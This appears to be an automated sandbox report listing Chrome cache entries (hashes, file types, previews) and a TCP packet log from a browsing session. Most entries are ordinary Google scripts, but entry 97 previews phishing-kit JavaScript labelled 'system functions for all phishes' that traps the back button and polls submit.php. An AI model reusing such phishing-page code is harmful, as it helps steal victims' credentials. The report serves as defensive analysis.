a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 93

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1024x576, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	4002
Entropy (8bit):	7.822998215030883
Encrypted:	false
SSDEEP:	96:o4X4X4j/ULDoncX4OsM9KbayX4X4X4X4t2oVc0alWwPV3AWJQ:dooj/QDoncoOyayooooxlEt3Ha
MD5:	981C7BDD8C33DB0212D659454D7FF96D
SHA1:	D5C5E5EADFD07F2D2299C7DFD9A32F5284C21B98
SHA-256:	6CBAC603A6306DB6EE6D4765839A86F354959EF7D75206F2F9DCD32242E6C275
SHA-512:	B3FF42B07809374AB5EBCFD1DA730B222CFBD03198C340E6137B2593243B2FCFD9895B3C925DE8A74CC0CC0C4B91C0F712EDCDA9699D4993EE248A3BA7E51D48
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 ...........@.>.Z.P'%(...hq...in.v..._.5...X.s.G....}.j.Hy..r.y..W.O.....C...7....bi....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..S.........D..L(XXa.g..>..T..[x....k..y.Y.].!...c....>.......X..W..x4.R.r.l.K...\|.g0>..k\|B^?.3.....+.F.3.....2.`.l.^..RdM...0.O......,1...t../...ZS".....\|!...mM>....3S.6..........z.I...#.o.W.EB...3..~.v.[x5...O..vK.........s."t...8..R.......X.ji....ka.C.E....V.&..U.<...C.......n.....k~T....\|...>j...)[.....e^...MZF.0S.=....\|.%.[.TTo2u....>....6...`..S..[C4$m.D ...p..V.Q.aM!......M\..`8.$A..H..`...a.Z.~.r..Y...:F{......+......6i>.....<.\|!...mM>....6...K....,Y..m8E..w.iu4.C..<.\|!...mM>....6...`..SO.0}c....>.......X.ji....y.4.C..<.\|!...mM>....6...`..SO.0}c....>.....*....z..;..`..mM>....6...`..SMu..{..W....5..Itg.s...\w.M......X.ji....y.4.f.3..z.] ..!....et.f.X...R4"..W..!+5....K4".a........t.f..`..SO.0}c....Bt

Chrome Cache Entry: 94

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	14566
Entropy (8bit):	5.70914661559882
Encrypted:	false
SSDEEP:	384:G3mOiXBu8gbEDBbJvhFUJOpwBznlkjqws/:rOiXBfkAvhmcpwBlkjW/
MD5:	FEC2026A018A7F138042B9FDB25A5E63
SHA1:	1F2F4F6F399A900000FB5B345D82E631D3159685
SHA-256:	273375229A390C6928B7035712B452DCA81851533593629167F7996E01811986
SHA-512:	81D1EB4F11CF792DC00DBA2D4F2FC739959D1223133F0F25CB7402AD4AC012FBE918430F0EE755BBC968411864417232CAF3A50BA3101E1555C71FD6AD3C14DC
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy2e,LBaJxb,sy2g,pxafOd,sy2f,sy2k,sy2l,sy2o,GI8h7,nAFL3,sy2p,sy2q,O626Fe"
Preview:	try{.var TQ=Symbol();.}catch(e){_DumpException(e)}.try{.C("LBaJxb");.var TTc=function(a){a=a.rect;return Math.floor(Math.max(a.height,a.width).2)},UTc={pseudoElement:"::after",duration:450,fill:"forwards",easing:"cubic-bezier(0.2, 0, 0, 1)"};var YQ=function(a){vP.call(this,a.Pa);this.Yg=!1;this[TQ]=!0};P(YQ,vP);YQ.sa=vP.sa;.YQ.prototype.yd=function(a){if(!this.Yg&&(a instanceof KeyboardEvent?a.key==="Enter"\|\|a.key===" ":1)){this.Yg=!0;var b;(b=this.animation)==null\|\|b.cancel();clearTimeout(this.timeout);this.aa().ub("RBHQF-ksKsZd-OWXEXe-QDgCrf");var c=this.aa().el().getBoundingClientRect();b=TTc({rect:c});var d=a instanceof MouseEvent?{x:a.clientX-c.left,y:a.clientY-c.top}:{x:c.width/2,y:c.height/2};d={x:d.x-b/2,y:d.y-b/2};a={x:(c.width-b)/2,y:(c.height-b)/2};b=d;d={rect:c};var e=d.rect;c=e.width;e=e.height;d=TTc(d);.c=""+(Math.sqrt(Math.pow(c,2)+Math.pow(e,2))+10+Math.max(.35Math.max(e,c),75))/d;d+="px";a={top:[0,0],left:[0,0],height:[d,d],width:[d,d],transform:["translate("+b.x+"px

Chrome Cache Entry: 95

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	dropped
Size (bytes):	14478
Entropy (8bit):	5.46897211761226
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFc+5aiWQLHO91mIuW:IoqUAh8vz5W2o
MD5:	4A2B1E83CCEA5A70AFDFC3F1434CA6A2
SHA1:	5A34C38829BDA10164EBDB1D1742F0B827247E39
SHA-256:	51F7939C541E0DD14D3C6AC44865499304ACA395BC72B7AF238C2F76C806FA71
SHA-512:	679B56AD35C3CAD0CFD98B57F011BD8442FECF520B05B650DFCD59D04485905D25AF1BC297FCC41A22FF655EF3EE6B35C606A5FE00811ADCB94C747F57AE2393
Malicious:	false
Reputation:	low
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 96

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4084)
Category:	dropped
Size (bytes):	928288
Entropy (8bit):	5.550521877313307
Encrypted:	false
SSDEEP:	6144:eVf7Z+cpK0C1h4CiVMIZ9iqYWTTGTvho3pNYIKERhe7yCr2N8BgJ7cZh/GoGZGFb:eVf7ZNA0C8fxbjgyC6oikGoFx
MD5:	63D09A2257593E4F61D28D22AFFD47AA
SHA1:	28B827BFB903D35D277BAF1BC3776DA5362C16C6
SHA-256:	61CFE8DCFD3EA0A84462CA6CF63BE84A725B1A60BB36A955C78298CAF0A32794
SHA-512:	92F3F0BD4DC28F7FFC0FAC4C2BD7CB54CDA614E996AB1DD7A61873D5C5F6CEC897D8F24C62A3512D641DED0AA86AFBA58FA49E7DFE59BEBDEA09E1FF8FAEA364
Malicious:	false
Reputation:	low
Preview:	try{.var W_c=function(a){if(V_c.has(a))return V_c.get(a);throw Error("Sh`"+a);},Y_c=function(a){if(X_c.has(a))return X_c.get(a);throw Error("Th`"+a);},Z_c=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].ik);return b},yS=function(a){this.ca=p(a)};P(yS,x);for(var $_c={ARROW_KEYS:{string:"arrow_keys",ik:"Wxn7ub"},AUTOMATED:{string:"automated",ik:"wjpLYc"},CLICK:{string:"click",ik:"cOuCgd"},DRAGEND:{string:"dragend",ik:"RlD3W"},DROP:{string:"drop",ik:"DaY83b"},GENERIC_CLICK:{string:"generic_click",ik:"szJgjc"},HOVER:{string:"hover",ik:"ZmdkE"},IMPRESSION:{string:"impression",ik:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",ik:"SYhH9d"},KEYPRESS:{string:"keypress",ik:"Kr2w4b"},LONG_PRESS:{string:"long_press",ik:"tfSNVb"},MOUSEOVER:{string:"mouseover",.ik:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",ik:"CYQmze"},SCROLL:{string:"scroll",ik:"XuHpsb"},SWIPE:{string:"swipe",ik:"eteedb"},VIS:{string:"vis",ik:"HkgBsf"}},V_c=Z_c($_c)

Chrome Cache Entry: 97

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569), with CRLF line terminators
Category:	dropped
Size (bytes):	22085
Entropy (8bit):	5.313702298219503
Encrypted:	false
SSDEEP:	384:20Rmn3yZ8HKsQk2SkHjbj8Dc3+3oxoF3rq3d2+q4K3r+plS9p0+EgmsvwzDPj7:2oY0SkDbj8Dck97msvwzDL7
MD5:	2FB611835E208FA0D32BB653C10412BF
SHA1:	B6ED5C1CA264260C7944744CCF1EC9147317F5EE
SHA-256:	05C4C6F035CC8256EDA144EE93F8A6492AD537D6C49D0F7D541FD38B1B180221
SHA-512:	146D24A895A60A2EEF429724BFB951C30794C527BF099901C92DE3D6836C8869D0F82615D5F85FC0BBC430781117B63790C44D5F5BF957CC12C93EE41F11AE44
Malicious:	false
Reputation:	low
Preview:	//START system functions for all phishes..window.session = makeid(5);..localStorage.setItem("session", window.session);..var onStorage = function (e) {...if (e.key === 'session' && e.newValue !== window.session)....localStorage.setItem("multitab", window.session);...if (e.key === "multitab" && e.newValue && e.newValue !== window.session) {....window.removeEventListener("storage", onStorage);....localStorage.setItem("session", localStorage.getItem("multitab"));....localStorage.removeItem("multitab");....document.body.innerHTML = 'The current page is already open in another tab. Please follow there!';...}..};..window.addEventListener('storage', onStorage);....history.pushState(null, document.title, location.href);..window.addEventListener('popstate', function (event){...history.pushState(null, document.title, location.href);..});....document.addEventListener('DOMContentLoaded', function() {...let TimeStep = 5000,...url = 'submit.php';.......function Update(){....var uid=($('#uid').length

Chrome Cache Entry: 98

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1224)
Category:	downloaded
Size (bytes):	16972
Entropy (8bit):	5.610632369043462
Encrypted:	false
SSDEEP:	384:rAvPH9on/L0Z7LCoK/k8NMxIU8sK+1a+1cS2bs8bVvHi:M39SAooK/O/K+cbRbVvHi
MD5:	56DB2B9B38F212881110E036BBF43E85
SHA1:	4A1AB3DEB689B65F0591AE57531445078538715C
SHA-256:	05A7BA93EAE423C94AE992161734469FDD7A2E77D975FD870B7D2F505C86D71D
SHA-512:	26723ED1D8335C922DC95ED5F7543E6653FD487BDE6428C04463A1ECC35F5771D14714621DA4DCD3B73C8229423958F3871EB24C3F9AAB81DDBDCAD06142EBA5
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=IiC5yd,sy3m,sy3j,sy3l,sye,sy3n,sy3i,sy3o,sy3q,syf,sy6i,qDbUCd"
Preview:	try{.C("IiC5yd");./*.. Copyright 2020 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restriction, including without limitation the rights. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell. copies of the Software, and to permit persons to whom the Software is. furnished to do so, subject to the following conditions:.. The above copyright notice and this permission notice shall be included in. all copies or substantial portions of the Software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.

Chrome Cache Entry: 99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3
Entropy (8bit):	1.584962500721156
Encrypted:	false
SSDEEP:	3:P:P
MD5:	8A80554C91D9FCA8ACB82F023DE02F11
SHA1:	5F36B2EA290645EE34D943220A14B54EE5EA5BE5
SHA-256:	CA3D163BAB055381827226140568F3BEF7EAAC187CEBD76878E0B63E9E442356
SHA-512:	CA4B6DEFB8ADCC010050BC8B1BB8F8092C4928B8A0FBA32146ABCFB256E4D91672F88CA2CDF6210E754E5B8AC5E23FB023806CCD749AC8B701F79A691F03C87A
Malicious:	false
Reputation:	low
URL:	https://blobcomments-pa.clients6.google.com/v1/pdfFields?docId=1zySfUjQ3GqIVAlBHIX3CXdgIcWIqrMkO&key=AIzaSyCMp6sr4oTC18AWkE2Ii4UBZHTHEpGZWZM&%24unique=gc797
Preview:	{}.

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 01:16:09.682602882 CET	49675	443	192.168.2.4	173.222.162.32
Dec 20, 2024 01:16:19.292812109 CET	49675	443	192.168.2.4	173.222.162.32
Dec 20, 2024 01:16:23.464860916 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:23.464951992 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:23.465265989 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:23.469012022 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:23.469069004 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.169255972 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.169533014 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:25.169599056 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.170627117 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.170725107 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:25.171988964 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:25.172101021 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.216161966 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:25.216223955 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:25.262672901 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:34.861020088 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:34.861088991 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:34.861269951 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:35.562321901 CET	49737	443	192.168.2.4	142.250.181.132
Dec 20, 2024 01:16:35.562386990 CET	443	49737	142.250.181.132	192.168.2.4
Dec 20, 2024 01:16:38.036515951 CET	49723	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:16:38.039998055 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:38.040021896 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:38.040170908 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:38.040332079 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:38.040360928 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:38.156394958 CET	80	49723	199.232.214.172	192.168.2.4
Dec 20, 2024 01:16:38.156539917 CET	49723	80	192.168.2.4	199.232.214.172
Dec 20, 2024 01:16:39.734373093 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.734683037 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.734700918 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.735225916 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.735292912 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.736237049 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.736298084 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.737096071 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.737184048 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.737468958 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.737488031 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:39.737595081 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:39.737641096 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.454648018 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.454683065 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.454732895 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.455029011 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.455039978 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.502609015 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.506458998 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.506527901 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.507371902 CET	49765	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.507396936 CET	443	49765	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.602956057 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.602982998 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.603157043 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.603741884 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.603751898 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.607613087 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.607652903 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.607812881 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.608215094 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.608233929 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.762320042 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.762368917 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.762444973 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.762654066 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.762677908 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.904942989 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.904968023 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:40.905201912 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.905481100 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:40.905493975 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.161804914 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.162026882 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.162058115 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.162405014 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.162693024 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.162750959 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.162811995 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.162837982 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.162842035 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.302094936 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.303857088 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.303865910 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.305227041 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.308998108 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.309106112 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.309109926 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.309146881 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.309458971 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.309933901 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.310122967 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.310134888 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.310642958 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.310698986 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.311657906 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.311712980 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.311815023 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.311898947 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.311928034 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.312026978 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.312060118 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.312980890 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.312999964 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.353112936 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.467375994 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.467874050 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.467901945 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.469336987 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.469418049 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.470621109 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.470676899 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.470840931 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.470941067 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.471079111 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.471101046 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.510993958 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.604662895 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.616882086 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.616904020 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.617409945 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.617465973 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.618411064 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.618463039 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.620049000 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.620135069 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.620176077 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.620220900 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.620237112 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.665488958 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.924271107 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.928277016 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:42.928371906 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.928916931 CET	49771	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:42.928960085 CET	443	49771	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.116771936 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.129323006 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.129384995 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.129543066 CET	49776	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.129565954 CET	443	49776	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.161091089 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.162938118 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.162992954 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.163122892 CET	49777	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.163130045 CET	443	49777	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.335932016 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.336040020 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.336096048 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.336117029 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.336611986 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.336707115 CET	443	49780	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.336779118 CET	49780	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.337224960 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.337251902 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.337311983 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.339998960 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.340012074 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.346872091 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.349726915 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:43.349788904 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.365430117 CET	49784	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:43.365462065 CET	443	49784	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:44.744111061 CET	49795	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.744158030 CET	443	49795	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:44.744359970 CET	49795	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.746073008 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.746165991 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:44.746460915 CET	49795	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.746478081 CET	443	49795	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:44.746512890 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.747267008 CET	49796	443	192.168.2.4	142.250.181.46
Dec 20, 2024 01:16:44.747303009 CET	443	49796	142.250.181.46	192.168.2.4
Dec 20, 2024 01:16:45.037435055 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.044944048 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.044966936 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.045633078 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.046641111 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.046675920 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.046684027 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.048758030 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.053030014 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.053203106 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.079993010 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.080002069 CET	443	49789	142.250.181.110	192.168.2.4
Dec 20, 2024 01:16:45.131092072 CET	49789	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.618047953 CET	49799	443	192.168.2.4	142.250.181.110
Dec 20, 2024 01:16:45.618098974 CET	443	49799	142.250.181.110	192.168.2.4
